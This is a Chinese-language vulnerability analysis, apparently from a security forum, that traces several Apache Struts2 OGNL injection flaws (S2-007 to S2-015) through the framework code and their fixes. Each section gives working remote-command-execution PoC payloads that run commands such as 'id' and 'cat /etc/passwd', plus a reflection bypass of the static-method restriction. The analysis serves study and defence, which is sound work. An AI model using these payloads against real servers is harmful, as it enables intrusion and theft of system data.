[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-c6702c5309dd09284cd3a783bff009d3cd811d04.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-c6702c5309dd09284cd3a783bff009d3cd811d04.png)

问题就出现在这个`getOverrideExpr()`，这里只是简单的用单引号`'`包裹文本框输入。所以输入的时候添加单引号`'`将这里的单引号闭合即可让OGNL表达式跳出单引号的包裹。

拦截器`StrutsConversionErrorInterceptor`处理完后就将执行的控制权移交给下一个拦截器`AnnotationValidationInterceptor`。

`AnnotationValidationInterceptor`的职责就是获取应用程序定义的校验器(validator)，并使用这些校验器对用户输入进行校验，结果是校验失败。校验结束后，将执行的控制权移交给最后一个拦截器`DefaultWorkflowInterceptor`。

由于在`AnnotationValidationInterceptor`中使用校验器校验用户输入的结果是校验失败，所以在`DefaultWorkflowInterceptor`中就根据该结果，返回字符串`"input"`，产生的结果就是返回`input`视图页面，从而中止了整个执行栈的调度执行。

接着就是构造`input`的视图页面，它是JSP页面，所以后面的漏洞触发流程也就跟`S2-001`差不多了，调用栈如下：

```php
TextFieldTag#doEndTag()
  ComponentTagSupport#doEndTag()
    UIBean#end()
      UIBean#evaluateParams()
        Component#findValue()
          TextParseUtil#translateVariables()
            OgnlValueStack#findValue()
              OgnlValueStack#tryFindValueWhenExpressionIsNotNull()
                OgnlValueStack#tryFindValue()
                  OgnlValueStack#lookupForOverrides()
                  OgnlValueStack#getValue()
```

其中，在`OgnlValueStack#lookupForOverrides()`方法中会取出当前值栈的`overrides`属性，该属性中存放了前面类型转化失败的入参，也就是文本框中输入的内容。取出来后进行OGNL表达式计算。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-df0f7a9019005f2dea81e1a4a9fc957f1e00424e.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-df0f7a9019005f2dea81e1a4a9fc957f1e00424e.png)

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-086ea6f981aa840bb56f28f05d1814babbadc88c.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-086ea6f981aa840bb56f28f05d1814babbadc88c.png)

至此，该漏洞的原理分析完了。

### 可回显PoC

```php
' + (
#_memberAccess.allowStaticMethodAccess=true,
#context['xwork.MethodAccessor.denyMethodExecution']=false,
#ret=@java.lang.Runtime@getRuntime().exec('id'),
#br=new java.io.BufferedReader(new java.io.InputStreamReader(#ret.getInputStream())),
#res=new char[20000],
#br.read(#res),
#writer=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),
#writer.println(new java.lang.String(#res)),
#writer.flush(),
#writer.close()
) + '
```

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-5a7f6f0ba1974bc98fe94a1681a8be44f5c5acba.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-5a7f6f0ba1974bc98fe94a1681a8be44f5c5acba.png)

漏洞修复
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Struts2 `2.2.3.1`版本，依赖的XWork的版本也是`2.2.3.1`，在默认拦截器`org.apache.struts2.interceptor.StrutsConversionErrorInterceptor`的`getOverrideExpr()`方法中进行了修复。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-a73dd90b38e9353f2bcec387fe2f15ba8706059b.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-a73dd90b38e9353f2bcec387fe2f15ba8706059b.png)

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-a3468f487f414d5af4922b2a56fc128b80f58210.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-a3468f487f414d5af4922b2a56fc128b80f58210.png)

如上图所示，对输入字符串中的双引号进行了转义后，再用双引号将其包裹。从而避免了输入字符串中的双引号闭合左右两边的双引号。

S2-008
------

官方漏洞公告：  
<https://cwiki.apache.org/confluence/display/WW/S2-008>

影响版本：Struts 2.0.0 - Struts 2.3.1

从漏洞公告可知，`S2-008`一共4个漏洞。第一个漏洞与`S2-007`漏洞点类似，故不再关注。这里只关注能RCE类型的第`2`个和第`4`个漏洞。

- 1、**Remote command execution in CookieInterceptor**
- 2、 **Remote command execution in DebuggingInterceptor**

漏洞复现与分析
-------

### vuln-1：Remote command execution in CookieInterceptor

拦截器`CookieInterceptor`在struts2中默认是不开启的。需要在应用的`struts.xml`配置文件中手动开启，且要配置参数才行，如下图：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-15d1097731eecf162ff1d5485c0033d45fa440be.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-15d1097731eecf162ff1d5485c0033d45fa440be.png)

其实该漏洞跟`S2-005`类似，是因为在`CookieInterceptor`拦截器中没有对`cookie`进行合法性校验从而导致了可以在`cookie`的键`key`位置注入恶意的OGNL表达式。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-b6bff259711293069d19c72cbe2ce2188155133a.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-b6bff259711293069d19c72cbe2ce2188155133a.png)

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-b7e0ed9e5db454d79b398449b1e773be2a3a744c.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-b7e0ed9e5db454d79b398449b1e773be2a3a744c.png)

然而主流Web容器比如Tomcat，会对`cookie`的名称有字符限制，一些关键字符无法使用使得这个漏洞点显得比较鸡肋。

尽管如此，在后续的修复版本中，还是在`CookieInterceptor`中增加了正则表达式进行字符白名单匹配。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-eccf33b12f4a63d4aef63b595f59078bbac78e38.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-eccf33b12f4a63d4aef63b595f59078bbac78e38.png)

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-40f8dcab400a4b4797bc0db5036a1a178cf861bb.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-40f8dcab400a4b4797bc0db5036a1a178cf861bb.png)

### vuln-2：Remote command execution in DebuggingInterceptor

该漏洞的前提条件是需要应用开启`devMode`模式。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-ca2c7ec2555a841fce272b538e3eb12ec6024672.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-ca2c7ec2555a841fce272b538e3eb12ec6024672.png)

正如[vulhub](https://github.com/vulhub/vulhub/blob/master/struts2/s2-008/README.zh-cn.md)上面提到的一样，该漏洞虽然较为鸡肋，但也可用作后门：

> 在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令，正如 kxlzx 所提这种情况在生产环境中几乎不可能存在，因此就变得很鸡肋的，但我认为也不是绝对的，万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。

漏洞原理比较简单，因为代码显而易见，在`DebuggingInterceptor#intercept()`中对入参进行了OGNL表达式计算，如下图：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-0dea8815e6537002811940e54ed03d9ce65340b7.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-0dea8815e6537002811940e54ed03d9ce65340b7.png)

可简单执行命令的PoC如下：

```php
/devmode.action?debug=command
&amp;expression=(%23_memberAccess.allowStaticMethodAccess=true,@java.lang.Runtime@getRuntime().exec('touch%20/tmp/success2'))
```

### vuln-2：可回显PoC

因为`DebuggingInterceptor`会把表达式的计算结果返回，所以这里就没有必要获取`response`对象了：

```php
/devmode.action?debug=command
&amp;expression=(%23_memberAccess.allowStaticMethodAccess=true,%23ret=@java.lang.Runtime@getRuntime().exec('id'),%23br=new%20java.io.BufferedReader(new%20java.io.InputStreamReader(%23ret.getInputStream())),%23res=new%20char[20000],%23br.read(%23res),new%20java.lang.String(%23res))
```

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-ec5c170e9ebaa33d81a50ddf3137a2e7a79d3394.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-ec5c170e9ebaa33d81a50ddf3137a2e7a79d3394.png)

漏洞修复
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后续的版本中，并没有对拦截器`DebuggingInterceptor`中的代码进行修复，因为就该调试功能本身而言，并不是漏洞。所以后续的修复主要是针对`SecurityMemberAccess`的代码进行改进，增强安全性。

S2-009
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官方漏洞公告：  
<https://cwiki.apache.org/confluence/display/WW/S2-009>

影响版本：Struts 2.0.0 - Struts 2.3.1.1

漏洞复现与分析
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`S2-009`是`S2-005`的修复绕过，而且绕过的方法很巧妙。(btw,`S2-003`/`S2-005`/`S2-009`都是当时Google安全团队的`Meder Kydyraliev`报告的)

> 在调试分析这些老漏洞的过程，其实也是在观摩安全人员和开发人员之间的对抗过程，挺有趣的)

前面分析过`S2-003`/`S2-005`漏洞可以知道，现在为了防止请求参数名中的OGNL表达式执行，主要做了以下两点：

- 添加了类`SecurityMemberAccess`，且其属性`allowStaticMethodAccess`默认为`false`，来防止利用OGNL表达式去执行Java方法；
- 在拦截器`ParametersInterceptor`中对请求参数名进行正则表达式白名单字符的匹配，来防止特殊符号(比如：`#`符号)经过unicode编码后的绕过。

这次的绕过使用到了OGNL表达式求值的另一种写法：`[(ognl_java_code)(fuck)]`。测试了一下，这种写法确实是有效的，如下图：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-b72cc89ba7235b3c25641b582aa665099a1d1b71.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-b72cc89ba7235b3c25641b582aa665099a1d1b71.png)

另外，在Action以属性封装的形式接收表单数据的情况下，比如`myaction?testparam=xxx&amp;z[(testparam)(fuck)]`，且`myaction`对应的Action类也有名为`testparam`的成员属性。提交后，struts2会将`xxx`赋值给Action的成员属性`testparam`，接着处理第二个参数`z[(testparam)(fuck)]`时，先在Action类中检索名为`testparam`的属性的值，将检索到的值进行OGNL表达式计算。最关键的是，`z[(testparam)(fuck)]`这种参数名形式是匹配`ParametersInterceptor`拦截器中用来校验参数名合法性的正则表达式`[a-zA-Z0-9\.\]\[_']+`的。

因此，把恶意的OGNL表达式放置在`testparam`参数值，即`xxx`的位置，便可以规避拦截器`ParametersInterceptor`的正则表达式白名单字符的匹配，最终达成RCE。

下面以Struts2 `2.3.1.1`自带的示例程序`showcase`为例，找到`ajax/Example5Action.java`，其代码很简单，且符合使用属性封装的形式来获取提交过来的表单数据(这里的表单，不要狭隘地理解为HTML中的`form`表单，而是通过http提交数据的一种形式：`key=value`)，如下图：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-eb6ceb2bc2b44e27f776a1d7bf15e41c035387bc.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-eb6ceb2bc2b44e27f776a1d7bf15e41c035387bc.png)

构造可简单执行命令的PoC如下：

```php
http://vulfocus.me:31519/S2-009/ajax/example5?
name=(%23_memberAccess.allowStaticMethodAccess=true,%23context['xwork.MethodAccessor.denyMethodExecution']=false,@java.lang.Runtime@getRuntime().exec('touch%20/tmp/success2'))
&amp;z[(name)(fuck)]
```

如下图，在拦截器`ParametersInterceptor`处理完第一个请求参数`name`后，`Example5Action`的成员属性`name`被成功赋值，它的值就是我们提交的包含恶意Java代码的OGNL表达式。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-fd27574634ba1a840f55b581896c58925352e326.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-fd27574634ba1a840f55b581896c58925352e326.png)

在解析第二个参数`z[(name)(fuck)]`的过程中，会解析为两个`ASTProperty`类型的节点，如下图：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-eb4e0504fd63eee99af119077b08db77225824fe.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-eb4e0504fd63eee99af119077b08db77225824fe.png)

然后会去当前Action对象`Example5Action`中检索`name`成员变量的值，如下图：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-4491ada8a6087200219058be2a7646343de6f498.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-4491ada8a6087200219058be2a7646343de6f498.png)

接着对获取到的`name`的值进行OGNL表达式计算，最后成功执行命令，如下图：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-ac88318db9a3e38564668972a4eca39709f65b4f.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-ac88318db9a3e38564668972a4eca39709f65b4f.png)

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-0958bd075180cc8434b9ea5822e76770e745c447.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-0958bd075180cc8434b9ea5822e76770e745c447.png)

### 可回显PoC

```php
/example5.action?name=(#_memberAccess.allowStaticMethodAccess=true,
#context['xwork.MethodAccessor.denyMethodExecution']=false,
#ret=@java.lang.Runtime@getRuntime().exec('id'),
#br=new java.io.BufferedReader(new java.io.InputStreamReader(#ret.getInputStream())),
#res=new char[20000],
#br.read(#res),
#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#writer.println(new java.lang.String(#res)),
#writer.flush(),
#writer.close())
&amp;z[(name)(fuck)]
```

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-5ae6d3504e062d208a0e9e90f5fa995d4f99735a.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-5ae6d3504e062d208a0e9e90f5fa995d4f99735a.png)

漏洞修复
----

Struts2 `2.3.1.2`版本，依赖的XWork版本也是`2.3.1.2`，在拦截器`ParametersInterceptor`中，对请求参数名的合法性校验进行了增强，即增强了正则表达式。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-c253c4ffa6e15e1f64c62e847e97b4bb093345fc.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-c253c4ffa6e15e1f64c62e847e97b4bb093345fc.png)

另外，还将`ParametersInterceptor`中的`newStack.setValue()`替换为`newStack.setParameter()`方法调用，在`OgnlValueStack#setParameter()`方法中，会通过`boolean`标志位去禁止OGNL表达式计算的。

S2-012
------

官方漏洞公告：  
<https://cwiki.apache.org/confluence/display/WW/S2-012>

影响版本：`Struts 2.0.0` - `Struts 2.3.14.2`

漏洞复现与分析
-------

从漏洞公告中获悉漏洞会出现的场景：如果一个Action定义了一个变量比如`uname`，当触发了`redirect`类型的返回时，如果重定向的`url`后面带有`?uname=${uname}`，则在这个过程中会对`uname`参数的值进行OGNL表达式计算。

下面用`vulhub/struts2/s2-012`中的应用进行调试分析。

该应用中定义了`UserAction`，并配置了`redirect`类型的返回，重定向的地址`url`为：`/index.jsp?name=${name}`，如下图：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-d56278b12cddda8afd423a538ce531f9edb09895.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-d56278b12cddda8afd423a538ce531f9edb09895.png)

从漏洞公告中可获悉，漏洞是发生在返回阶段。根据Struts2/XWork的运行主线的可知，`ActionInvocation`在调度完`Action`对象后，便会去调度`Result`对象，如下图：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-4056d047f92d82d6acf2aca454bb9cde88c5e317.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-4056d047f92d82d6acf2aca454bb9cde88c5e317.png)

> 关于Struts2的运行主线等原理的详解可参考陆舟的《Struts2技术内幕》

所以，我们可以在Struts2的核心调度对象`DefaultActionInvocation`中开始调度`Result`处下断点，如下图：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-d4e56ebc2334a90044b764474b4525b492ab607c.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-d4e56ebc2334a90044b764474b4525b492ab607c.png)

继续调试，在`StrutsResultSupport#conditionalParse()`方法中，出现了一个熟悉的身影：`TextParseUtil#translateVariables()`，没错，这个方法在`S2-001`的漏洞触发执行栈中出现过。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-d5bd41bd372658464af5b661989ee9b4b6726be1.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-d5bd41bd372658464af5b661989ee9b4b6726be1.png)

可是`S2-001`漏洞不是早就被修复了吗，为什么还能通过`TextParseUtil#translateVariables()`去触发漏洞？

经调试发现，这里与`S2-001`还是稍有不同，这里调用的是`TextParseUtil`的一个重载方法，其中，第一个参数是一个`char`数组。而且如下图可以看到这里传入了包含两个元素的`char`数组，这就是`S2-012`为什么可以用`S2-001`的PoC直接打的关键。为什么呢，继续往下看。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-6c637ffeae6f68751247937d134dd1fe811468b8.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-6c637ffeae6f68751247937d134dd1fe811468b8.png)

可以看到，这里的`while(true)`循环被放置到一个`for`循环里了，且`for`循环的次数由`char`数组`openChars`的长度决定，而这里传入的`openChars`的长度为`2`,两个元素分别为`$`和`%`字符。所以下面的`while(true)`循环会执行两次，第一次是解析`${name}`，解析得到结果后，继续对结果`%{xxx}`进行解析。因此使得`S2-001`漏洞重现了。(是不是感觉挺有意思的^\_^)

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-d68a336fb9c84c862925777b457522951796bf73.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-d68a336fb9c84c862925777b457522951796bf73.png)

### 可回显PoC

综上，这里可以直接用`S2-001`的PoC执行任意命令：

```php
%{#p=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).start(),
#is=#p.getInputStream(),
#br=new java.io.BufferedReader(new java.io.InputStreamReader(#is)),
#arr=new char[50000],
#br.read(#arr),
#str=new java.lang.String(#arr),
#writer=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#writer.println(#str),
#writer.flush(),
#writer.close()}
```

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-f76e41ecfca59e62c08f2f31a3b80053a5ec2f3d.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-f76e41ecfca59e62c08f2f31a3b80053a5ec2f3d.png)

如果要使用`Runtime#exec()`方法来执行命令也可以，不过要添加`#_memberAccess.allowStaticMethodAccess=true`。前面使用`ProcessBuilder#start()`，由于不需要调用静态方法，所以无需先将`SecurityMemberAccess`的`allowStaticMethodAccess`改为`true`。

```php
%{#_memberAccess.allowStaticMethodAccess=true,
#a=(@java.lang.Runtime@getRuntime().exec(new java.lang.String[]{"cat","/etc/passwd"})),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close()}
```

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-0387f192dd96a78ba6203d3fe79563a82b30dbe9.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-0387f192dd96a78ba6203d3fe79563a82b30dbe9.png)

漏洞修复
----

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-e8ea4d0542dca887dbfd34e8556fe64b3bc8493a.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-e8ea4d0542dca887dbfd34e8556fe64b3bc8493a.png)

S2-013
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官方漏洞公告：  
<https://cwiki.apache.org/confluence/display/WW/S2-013>

影响版本：`Struts 2.0.0` - `Struts 2.3.14.1`

漏洞复现与分析
-------

从漏洞公告中可获悉漏洞出现在`<s:url>`和`<s:a>`标签中的`includeParams`属性。&lt;br&gt;  
`includeParams`属性接收三个值：

- `none`：表示url中不包含参数(默认就是`none`)。
- `get`：表示url中只包含`GET`参数。
- `all`：表示url中既包括`GET`参数也包括`POST`参数。

当`<s:url>`和`<s:a>`标签指定了`includeParams`属性为`get`或`all`时，Struts2在处理url的参数时会进行两次OGNL表达式计算，从而导致注入的Java代码执行。

其实这个漏洞和`S2-001`是类似的，只是这次漏洞时出现在`<s:url>`和`<s:a>`标签的处理过程中而已。

下面使用`Struts 2.3.14.1`自带的示例程序`struts-blank`来调试分析。运行应用之前得修改一下首页`index.jsp`，在`<s:url>`和`<s:a>`标签中添加`includeParams="all"`，如下图：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-6cdebe714d51dcf0446a2c2357aebc9aa534272a.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-6cdebe714d51dcf0446a2c2357aebc9aa534272a.png)

跟之前`S2-001`一样，找到`<s:url>`对应的类`URLTag`，在`doEndTag()`方法中下断点进行调试。

在关键的地方，即执行OGNL表达式计算的类和方法，比如`OgnlValueStack#findValue()`下断点，一路跟下去，发现在处理url参数的过程中，`DefaultUrlHelper#buildParameterSubstring()`会调用`TextParseUtil#translateVariables()`，如下图：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-1d7ed1ef5285211227859d062d19c94a63ea51bb.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-1d7ed1ef5285211227859d062d19c94a63ea51bb.png)

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-25c13a5d117311644c295830989db05ac81be090.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-25c13a5d117311644c295830989db05ac81be090.png)

后面的漏洞触发流程就跟`S2-012`一样了。所以这个漏洞其实没什么值得说道的地方，因为跟之前出现的漏洞类似。

### 可回显PoC

```php
/xxx.action?fakeParam=
%{#_memberAccess.allowStaticMethodAccess=true,
#context['xwork.MethodAccessor.denyMethodExecution']=false,
#is=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),
#br=new java.io.BufferedReader(new java.io.InputStreamReader(#is)),
#res=new char[20000],
#br.read(#res),
#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#writer.println(new java.lang.String(#res)),
#writer.flush(),
#writer.close()}
```

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-017187a8ac5d082b278fc009c02556c8476603a5.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-017187a8ac5d082b278fc009c02556c8476603a5.png)

漏洞修复
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在Struts2的`2.3.14.2`版本中，`DefaultUrlHelper#buildParameterSubstring()`没有再调用`TextParseUtil.translateVariables()`对参数进行处理了。如下图：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-61d08ea715a341948ea03e5f16a82964aac3a5b1.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-61d08ea715a341948ea03e5f16a82964aac3a5b1.png)

S2-015
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官方漏洞公告：<https://cwiki.apache.org/confluence/display/WW/S2-015>

影响版本：`Struts 2.0.0` - `Struts 2.3.14.2`

漏洞复现与分析
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`S2-015`实际上包括两处漏洞：

- **Wildcard matching**：通配符匹配导致的RCE
- **Double evaluation of an expression**：OGNL表达式二次求值导致的RCE

下面使用`vulhub/s2-015`对该漏洞进行进行调试分析。

### vuln-1: Wildcard matching

在`struts.xml`配置文件中定义了通配符`*`访问规则，如下图：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-35ee9dc3ced010bc3b344406a2facfd4021cdef6.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-35ee9dc3ced010bc3b344406a2facfd4021cdef6.png)

假设请求的url中`action`名为`xxxx`，不匹配`param`，而是匹配通配符`*`，最终返回`/xxxx.jsp`页面，如果`xxxx.jsp`页面存在，则返回页面内容，如果不存在，则返回`404`报错页面，报错信息中包含有`/S2-015/xxxx.jsp`。

而如果请求的`action`名是一个OGNL表达式，则会进行计算。最简单的PoC，传入一个`${2+3}.action`，会发现被进行OGNL表达式计算，然后结果回显在`404`报错页面中，如下图：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-5f28781633833bebd1184657b41fe4537a07b64f.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-5f28781633833bebd1184657b41fe4537a07b64f.png)

从现象来看，OGNL表达式的计算也是在调度`Result`对象时发生的。因此，与`S2-012`一样，调试时可在`DefaultActionInvocation`开始调度`Result`对象时下断点，以及在OGNL表达式计算的关键方法比如`OgnlValueStack#findValue()`处下断点。

调试过后发现，这个漏洞触发的方法调用栈，跟`S2-012`是几乎一样的(不同版本代码略有差异)。它会把`<result>`标签指定的页面地址作为参数，传入`TextParseUtil.translateVariables()`进行处理，最终会进入一个OGNL执行器`ParsedValueEvaluator`里进行OGNL表达式计算。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-ee04f1dc8fc2a6e2dae05d99f368e63a19abb224.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-ee04f1dc8fc2a6e2dae05d99f368e63a19abb224.png)

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-3e7dd64cec34edebb02f80572fe184ece4b660bf.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-3e7dd64cec34edebb02f80572fe184ece4b660bf.png)

### vuln-1 可回显PoC

在Struts2 `2.3.14.2`版本的`SecurityMemberAccess`类中，删除了`setAllowStaticMethodAccess()`，所以我们在构造PoC的时候就不能通过`#_memberAccess['allowStaticMethodAccess']=true`的方式去获取调用静态方法的能力，但可以通过反射的方式去修改该属性。另外，还可以像前面`S2-001`里用过的，使用`ProcessBuilder#start()`方法来执行系统命令，因为这种方式不需要调用静态方法。

这里使用反射修改`allowStaticMethodAccess`属性的方式，如下：

```php
/S2-015/%25%7b%23m=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23m.setAccessible(true),%23m.set(%23_memberAccess,true),%23a=@java.lang.Runtime@getRuntime().exec('id'),%23b=%23a.getInputStream(),%23c=new%20java.io.InputStreamReader(%23b),%23d=new%20java.io.BufferedReader(%23c),%23e=new%20char[50000],%23d.read(%23e),new%20java.lang.String(%23e)%7d.action
```

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-2319e9f03a07a883b587634c34b6120aece35af9.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-2319e9f03a07a883b587634c34b6120aece35af9.png)

这里换一种方式来处理命令执行的结果：使用项目依赖包`commons-io`里的`IOUtils#toString()`方法。  
使用这个方法的好处是，它会根据命令执行结果而返回相应长度的字符串。而不是像上面的方式那样固定的缓冲区。

```php
%25%7B%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23m=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23m.setAccessible(true),%23m.set(%23_memberAccess,true),%23q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())%7D.action
```

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-3bbc8fae296046d3c8ba69c6698dd35067659060.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-3bbc8fae296046d3c8ba69c6698dd35067659060.png)

### vuln-2：Double evaluation of an expression

有`ParamAction`定义如下图，在该`action`中定义了`message`属性以及`set`/`get`方法。在`struts.xml`中还定义了`success`返回时的方式，使用了`${message}`去引用`message`属性的值。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-9b7560a9f972006c1c8fde767a43478ed58cb4be.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-9b7560a9f972006c1c8fde767a43478ed58cb4be.png)

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-0ef96c09797a4c80d7f01666eb458a5228600d49.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-0ef96c09797a4c80d7f01666eb458a5228600d49.png)

其实这个漏洞本质上与`S2-012`是一样的，也是在定义`Result`的行为时，引用了`Action`的属性值，而Struts2在调度`Result`对象的过程中，会对`Action`的属性引用值进行二次OGNL表达式计算，从而导致可RCE。

因为是`result`的类型是`httpheader`，所以实际调度的`Result`对象其实是`HttpHeaderResult`对象。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-550eb21dc46355aca4a6337c7fe90b920fe3831f.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-550eb21dc46355aca4a6337c7fe90b920fe3831f.png)

然后在`HttpHeaderResult#execute()`方法中，会将参数`fxxk`的值`${message}`传入`TextParseUtil#translateVariables()`进行OGNL表达式求值，后面的方法调用栈就和`S2-012`一样了，就不再详细说了：第一次先计算`${message}`，得到我们传入的OGNL表达式`%{xxxyyyzzz...}`。第二次则计算`%{xxxyyyzzz...}`并得到结果，并在响应头`fxxk`中显示。

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-825856fa4431aad3780a697c0482f760f14b68cf.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-825856fa4431aad3780a697c0482f760f14b68cf.png)

### vuln-2 可回显PoC

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-c20da8044dec3e900272c70be975f556dd74260b.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-c20da8044dec3e900272c70be975f556dd74260b.png)

漏洞修复
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### 针对 vuln-1：Wildcard matching 的漏洞修复

通过正则表达式对`action`名进行了校验，将不在白名单里的字符给去掉。新版本的关键修复代码如下图：

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-00e85bf7ac1214fa7e22be82bec35dcb51769d52.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-00e85bf7ac1214fa7e22be82bec35dcb51769d52.png)

[![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-6b5983fd13cdf0206b6656ed3d53d25fdda41a07.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-6b5983fd13cdf0206b6656ed3d53d25fdda41a07.png)

### 针对 vuln-2：Double evaluation of an expression 的漏洞修复

通过比对代码，发现在`2.3.14.3`版本的`OgnlTextParser.java#evaluate()`方法里，将位置索引值`pos`的初始化移到了`for`循环之前。这样修改，使得第一次OGNL表达式计算后，起始位置`pos`的值会更新，而不会重新置`0`，从而避免了二次计算OGNL表达式。&lt;br&gt;  
**注：** &lt;br&gt;  
**另外，这也是`S2-012`的修复，之前写`S2-012`漏洞分析的文章里，把修复方式给写错了!！**

